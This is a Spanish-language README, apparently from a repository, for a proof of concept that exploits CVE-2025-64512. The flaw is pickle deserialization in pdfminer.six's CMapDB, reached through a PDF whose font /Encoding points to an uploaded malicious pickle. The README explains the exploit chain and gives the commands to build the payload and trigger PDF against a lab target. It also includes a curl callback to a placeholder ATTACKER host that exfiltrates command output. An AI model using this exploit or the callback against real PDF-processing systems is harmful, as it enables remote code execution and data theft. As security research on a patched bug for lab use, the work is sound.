
PoC para CVE-2025-64512: RCE por deserialización de pickle en CMapDB de pdfminer.six mediante un PDF manipulado
CMapDB en pdfminer.sixPrueba de concepto de una vulnerabilidad de deserialización en pdfminer.six
que conduce a la ejecución de código arbitrario al analizar un PDF manipulado.
PROPÓSITO / AVISO LEGAL Este repositorio se proporciona solo con fines educativos y de investigación de seguridad autorizada. Reproduce un CVE divulgado públicamente y parcheado. No lo utilices contra sistemas que no poseas o para los que no tengas permiso por escrito. El autor no es responsable del mal uso. Entorno previsto: Hack The Box / VulnHub / laboratorio local.
pdfminer.six anterior a 2025050620250506En cmapdb.py, CMapDB._load_data() lee un archivo CMap cuyo nombre se
deriva de la entrada /Encoding de una fuente PDF y pasa el contenido a
pickle.loads():
def _load_data(cls, name):
name = name.replace("\0", "")
filename = "%s.pickle.gz" % name
log.debug("loading: %r", name)
cmap_paths = (
os.environ.get("CMAP_PATH", "/usr/share/pdfminer/"),
os.path.join(os.path.dirname(__file__), "cmap"),
)
for directory in cmap_paths:
path = os.path.join(directory, filename)
if os.path.exists(path):
gzfile = gzip.open(path)
try:
return type(str(name), (), pickle.loads(gzfile.read()))
finally:
gzfile.close()
raise CMapDB.CMapNotFound(name)
Tres propiedades se combinan para explotar esto:
pickle.loads() sobre datos controlados por el atacante -> ejecución de código arbitrario.os.path.join() descarta el directorio de búsqueda y abre el archivo en esa ruta exacta..pickle.gz se añade automáticamente, por lo que la ruta se proporciona sin la extensión.El exploit necesita dos archivos subidos a la aplicación web vulnerable:
payload.pickle.gz — un pickle comprimido con gzip cuyo __reduce__
ejecuta un comando y devuelve un dict con forma de CMap (para que el
análisis continúe limpiamente después de que el payload se dispare).trigger.pdf — un PDF mínimo que utiliza un Type0/CIDFont cuya fuente
/Encoding apunta a la ruta absoluta del pickle (sin extensión).Dos detalles a nivel de PDF son importantes:
CMapDB.get_cmap() solo se alcanza a través de un CIDFont (una fuente
Type0 con una entrada DescendantFonts), no a través de una fuente Type1 simple./, por lo que la ruta
codificada debe comenzar con #2f para conservar la barra inicial de la ruta
absoluta. Las barras internas también son #2f porque / es un delimitador
de nombre.Cuando el objetivo analiza el PDF (por ejemplo, un watcher en segundo plano que
llama a pdf2txt.py), CMapDB._load_data() abre el pickle y ejecuta el comando.
# 1. Construir el pickle malicioso (comprimido con gzip)
python3 make_payload.py 'id; whoami' -o payload.pickle.gz
# 2. Construir el PDF desencadenante que apunta a la ruta absoluta del pickle (sin ext)
python3 make_trigger_pdf.py /var/www/research.bedside.htb/uploads/payload -o trigger.pdf
# 3. Subir ambos archivos al formulario de carga de PDF vulnerable y esperar a que
# el watcher de procesamiento recoja trigger.pdf
Verificado de extremo a extremo contra pdfminer.six 20250416 (vulnerable):
ejecutar pdf2txt.py trigger.pdf ejecuta el comando del payload y sale con 0.
El comando del payload es ciego; exfiltra mediante callback, por ejemplo:
python3 make_payload.py 'curl http://ATTACKER:8001/$(id|base64 -w0)' -o payload.pickle.gz
| Archivo | Propósito |
|---|---|
make_payload.py | Genera el payload.pickle.gz malicioso |
make_trigger_pdf.py | Genera el PDF desencadenante /Encoding con offsets xref correctos |
20250506